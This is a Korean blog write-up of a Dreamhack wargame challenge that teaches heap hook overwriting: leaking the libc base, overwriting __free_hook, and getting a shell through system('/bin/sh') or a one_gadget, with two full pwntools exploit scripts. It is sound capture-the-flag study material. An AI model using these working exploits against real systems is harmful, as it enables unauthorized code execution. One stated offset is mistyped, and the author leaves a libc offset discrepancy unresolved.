[드림핵] fho
A A

문제: https://dreamhack.io/wargame/challenges/355

 

fho

Description Exploit Tech: Hook Overwrite에서 실습하는 문제입니다. Challenge Updates 2023.04.27: Dockerfile이 제공됩니다.

dreamhack.io

"Free Hook Overwrite"

 

훅 오버라이트(Hook Overwrite)는 훅의 특징을 이용한 공격 기법이다.

Glibc 2.33 이하 버전에서 libc 데이터 영역에는 `malloc()` 등을 호출할 때 함께 호출되는 훅(Hook)이 함수 포인터 형태로 존재한다. 이 함수 포인터를 임의의 함수 주소로 오버라이트하여 악의적인 코드를 실행한다. Full RELRO가 적용되더라도 `libc`의 데이터 영역에는 쓰기가 가능하므로 Full RELRO를 우회할 수 있다.

 

`libc` 내에는 원가젯(one-gadget)이라는 가젯이 존재한다.

기존에는 셸을 실행하려면 여러 개의 가젯을 조합해서 ROP Chain을 구성했지만, 원가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯이다.

하지만 원가젯은 Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르다.

 

📍 보호기법

 

64비트, Full RELRO, 카나리 있음, NX 있음, PIE 있음

다 있다...!

 

📍 도커 사용하기

WSL2에서 도커만 실행하려고 하면 오류가 나서 지금까지 도커 없이 해왔는데 이제는 진짜 해야 한다💀

왜냐면 Hook Overwrite 공격 실습인데 훅은 Glibc 2.34 버전부터 제거됐기 때문...

IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash

 

 

오류: `apt-get update`에서 캐시를 사용해서 최신 패키지 리스트를 못 받아옴

Step 4/17 : RUN apt-get update
 ---> Using cache
 ---> 2618d2e25997
Step 5/17 : RUN apt-get -y install socat
 ---> Running in a75b35f8f349
Reading package lists...
Building dependency tree...
Reading state information...
E: Unable to locate package socat

 

 

해결: 캐시 없이 빌드하기

docker build --no-cache -t ubuntu1804 .

 

 

마저 컨테이너 실행

docker run -it --privileged --name=my_container ubuntu1804 bash
docker run -it --privileged --name=my_container --user=root ubuntu1804 bash # 루트로 실행

 

 

다시 들어가고 싶을 때:

docker start my_container

docker exec -it -u root my_container bash

 

 

`pwndbg` 설치하기

# pwntools 설치
apt-get update && apt-get install -y python3 python3-pip git
pip3 install --upgrade pip setuptools
pip3 install pwntools

# pwndbg 설치
apt-get install -y gdb
cd ~
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

 

 

오류 미친것... 파이썬 버전이 너무 최신이라 pwndbg 버전과 안 맞는다고 함

Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package libgcc-s1:i386
Your system has unsupported python version. Please use older pwndbg release:
'git checkout 2024.08.29' - python3.8, python3.9
'git checkout 2023.07.17' - python3.6, python3.7
root@8d5e51451f16:~/pwndbg#

 

 

해결: pwndbg 구버전 사용하기

cd ~/pwndbg
git checkout 2020.07.23
./setup.sh

 

`gdb -q` 했을 때 `pwndbg>` 뜨면 성공

 

 

📍 소스코드

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

[1] 스택의 어떤 값을 읽을 수 있다.

0x30 크기의 버퍼에 0x100만큼 입력을 받고, %s로 출력한다.

 

[2] 임의 주소에 임의 값을 쓸 수 있다.

포인터 변수 `addr`과 변수 `value`에 입력을 받고, `addr`이 가리키는 주소에 `value`의 값을 저장한다.

 

[3] 임의 주소를 해제할 수 있다.

`addr`에 값을 입력하고 `free(addr)` 함수를 호출한다.

 

 

C언어에서 메모리의 동적 할당과 해제를 담당하는 함수는 `malloc`, `free`, `realloc`이 대표적이다.

`libc.so`에 각 함수가 구현되어 있고, 이 함수들의 디버깅 편의를 위해 훅 변수도 함께 정의되어 있다.

예를 들어, `free` 함수는 `__free_hook` 변수의 값이 `NULL`이 아닌지 검사하고, 아니라면 `free`를 수행하기 전에 `__free_hook`이 가리키는 함수를 먼저 실행한다. 이때 `free`의 인자는 훅 함수에 전달된다.

📌 참고~ `readelf` 옵션
- `-a`: 모든 정보
- `-s`: 심볼 테이블
- `-e`: 모든 헤더
- `-S`: 섹션 헤더
- `-l`: 프로그램 헤더
- `-h`: ELF 헤더 정보
- `-r`: 재배치 섹션의 정보
- `-d`: 동적 섹션의 정보

 

 

먼저 심볼 테이블을 확인해 보자.

$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
   222: 00000000003ed8e8     8 OBJECT  WEAK   DEFAULT   35 __free_hook@@GLIBC_2.2.5
  1134: 00000000003ebc30     8 OBJECT  WEAK   DEFAULT   34 __malloc_hook@@GLIBC_2.2.5
  1547: 00000000003ebc28     8 OBJECT  WEAK   DEFAULT   34 __realloc_hook@@GLIBC_2.2.5

 

변수들의 offset은 각각 `0x3ed838`, `0x3ebc30`, `3ebc28`이다.

섹션 헤더 정보를 참조한다.

$ readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -EA 1 "\.bss|\.data"
  [34] .data             PROGBITS         00000000003eb1a0  001eb1a0
       00000000000016c0  0000000000000000  WA       0     0     32
  [35] .bss              NOBITS           00000000003ec860  001ec860
       0000000000004280  0000000000000000  WA       0     0     32

 

`libc.so`의 `bss` 및 `data` 섹션에 포함됨을 알 수 있다.

Full RELRO가 적용된 바이너리의 경우도 이 섹션들에는 쓰기가 가능하므로, 변수들의 값은 조작 가능하다.

 

즉, 소스코드에서 `free` 함수를 사용하므로,

`__free_hook`을 `system` 함수의 주소로 덮고, `free("/bin/sh")`를 호출해 셸을 획득하는 등의 공격이 가능하다.

 

 

공격 시나리오:

[1]에서 libc base를 알아낸다.

[2]에서 `__free_hook`의 값을 `system` 함수로 덮는다.

[3]에서 `free` 함수를 `"/bin/sh"` 인자를 주면서 실행한다.

 

 

🫧 libc base 찾기

찾아야 하는 주소는 `__free_hook`, `system`, `"/bin/sh"`의 주소이다.

프로세스에 매핑된 libc 파일의 베이스 주소를 찾고, 각 변수들의 offset을 더하면 실제 주소값을 계산할 수 있다.

 

먼저 libc base를 찾아보자.

코드의 [1] 부분에서 `buf`를 overflow시키고 `%s`로 출력하는 것이 가능하므로, 스택에 존재하는 값을 읽을 수 있다.

스택에는 `libc`의 주소가 있을 가능성이 크다. 특히 `main` 함수는 `__libc_start_main`이라는 라이브러리 함수가 호출하므로 `main` 함수의 호출이 끝나면 `__libc_start_main`으로 리턴한다. 따라서 `main` 함수 스택 프레임에는 리턴 주소로 `__libc_start_main + offset`이 저장되어 있다.

이때 offset = `__libc_start_main()` 시작 주소부터 리턴 주소까지의 거리 (바이트 단위)

 

pwndbg> start
pwndbg> main
pwndbg> bt
#0  0x00005555554008be in main ()
#1  0x00007ffff7a03c87 in __libc_start_main (main=0x5555554008ba <main>, argc=1, argv=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at ../csu/libc-start.c:310
#2  0x00005555554007da in _start ()

 

(참고: 스택은 호출 흐름 역순으로 저장됨)

`_start()`가 `__libc_start_main()`을 호출하고, `__libc_start_main()`이 `main()`을 호출한다.

`main()`이 끝나면 다시 `__libc_start_main()`으로 리턴한다.

즉 `main` 함수 스택 프레임에 저장된 리턴 주소는 `0x00007ffff7a03c87`이다.

pwndbg> x/i 0x00007ffff7a03c87
   0x7ffff7a03c87 <__libc_start_main+231>:      mov    edi,eax

 

`0x00007ffff7a03c87`= `__libc_start_main+231`인 것도 알아냈다.

 

 

 $ readelf -s libc-2.27.so | grep " __libc_start_main@"
  2206: 0000000000021ba0   446 FUNC    GLOBAL DEFAULT   13 __libc_start_main@@GLIBC_2.2.5

 

그리고 이 `0x21ba0+231` 값이 `__libc_start_main+231`의 offset이다.

즉 `main`의 리턴주소인 `__libc_start_main+231`을 leak한 후, 이 값에서 `0x21ba0+231`을 빼면 libc base를 구할 수 있다.

근데 이 부분이 드림핵 해설과 다르다... `0x21b10`이 나와야 하는데 ⸌◦̈⃝⸍ʷʰʸˀ̣ˀ̣ˀ̣

여긴 일단 패스 ^^

 

어쨌든 `main` 함수의 리턴주소는 `__libc_start_main + 231`이다.

`buf` overwrite시킬 때, saved rbp 덮고 나서 바로 나오는 리턴주소라는 소리다.

 

🫧 변수들의 주소 계산하기

`buf` 구하는 걸 안 썼는데 `[rbp-0x40]`이다.

 

$ readelf -sr libc-2.27.so | grep "__free_hook@"
  0000003eaef0  00dd00000006 R_X86_64_GLOB_DAT 00000000003ed8e8 __free_hook@@GLIBC_2.2.5 + 0

 

symbol 앞에 있는 주소가 offset이다.

즉, `__free_hook`의 offset = `0x3ed8e8`

 

 

$ readelf -sr libc-2.27.so | grep system
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

 

`system`의 offset  = `0x4f550`

 

 

$ strings -tx libc-2.27.so | grep "/bin/sh"
 1b3e1a /bin/sh

 

`"/bin/sh"`의 offset = `0x1b3e1a`

 

 

📍 익스플로잇

from pwn import *

p = remote("host3.dreamhack.games", 10651)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

# [1] libc base
buf = b'A'*0x48

p.sendafter('Buf: ', buf)
p.recvuntil(buf)

libc_start_main = u64(p.recvline()[:-1] + b'\x00'*2)	# 마지막 개행 문자 자르고 잘린 널바이트 붙여주기
libc_base = libc_start_main - (libc.symbols['__libc_start_main'] + 231)
# libc.symbols 말고 libc.libc_start_main_return도 가능
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))

# [2] free_hook 함수를 system 함수로 덮기
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())		# 숫자를 문자열로(str), 문자열을 바이트로(.encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

# [3] free 함수 실행
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()

 

 

 

 

 

🚩

 

어렵다...

 

 

 

 

📍 One-Gadget

원가젯(one-gadget 또는 magic_gadget)은 실행하면 셸이 획득되는 코드 뭉치를 말한다.

ROP Chain 같은 고생을 하지 않고 단일 가젯만으로도 셸을 실행할 수 있는 강력한 가젯이다.

libc 버전마다 다른 원가젯이 존재하며, 제약 조건도 모두 다르다.

일반적으로 Glibc 버전이 높아질수록 제약 조건을 만족하기가 어려워지는 특성이 있다.

 

원가젯: https://github.com/david942j/one_gadget

 

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

The best tool for finding one gadget RCE in libc.so.6 - david942j/one_gadget

github.com

 

함수에 인자를 전달하기 어려울 때 유용하게 활용할 수 있다.

`__malloc_hook`을 임의의 값으로 overwrite할 수는 있지만 `malloc`의 인자에 작은 정수밖에 입력하지 못한다면, `"/bin/sh"` 문자열 주소를 인자로 전달하기 매우 어려워진다.

이럴 때 제약 조건을 만족하는 원가젯이 존재한다면 이를 호출해 셸을 획득할 수 있다.

 

$ one_gadget ./libc-2.27.so
0x4f3ce execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

 

총 4개의 가젯이 나왔다.

constraints도 같이 나오는데, 가장 간단한 `0x4f432`로 익스플로잇을 시도해 보자.

 

원가젯 또한 라이브러리에 있는 가젯이므로 libc base를 구해야 하는 건 똑같다.

이 문제에서는 libc base를 구하는 것까지는 흐름이 같고,

[2]에서 `__free_hook`에 원가젯의 주소를 입력한 뒤 [3]에서 `free` 함수를 실행하면 된다.

 

from pwn import *

p = remote("host3.dreamhack.games", 10651)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

# [1] libc base
buf = b'A'*0x48

p.sendafter('Buf: ', buf)
p.recvuntil(buf)

libc_start_main = u64(p.recvline()[:-1] + b'\x00'*2)	# 마지막 개행 문자 자르고 잘린 널바이트 붙여주기
libc_base = libc_start_main - (libc.symbols['__libc_start_main'] + 231)
one_gadget = libc_base + 0x4f432
free_hook = libc_base + libc.symbols['__free_hook']


# [2] free_hook 함수를 원가젯으로 덮기
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())		# 숫자를 문자열로(str), 문자열을 바이트로(.encode())
p.recvuntil('With: ')
p.sendline(str(one_gadget).encode())

# [3] free 함수 실행
p.recvuntil('To free: ')
p.sendline()

p.interactive()

 

결과는 같다.

 

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] hook  (0) 2025.04.09
[드림핵] oneshot  (0) 2025.04.08
[드림핵] basic_rop_x64  (0) 2025.03.30
[드림핵] struct person_t  (1) 2025.03.29
[드림핵] rop  (0) 2025.03.29
Copyright 2024. GRAVITY all rights reserved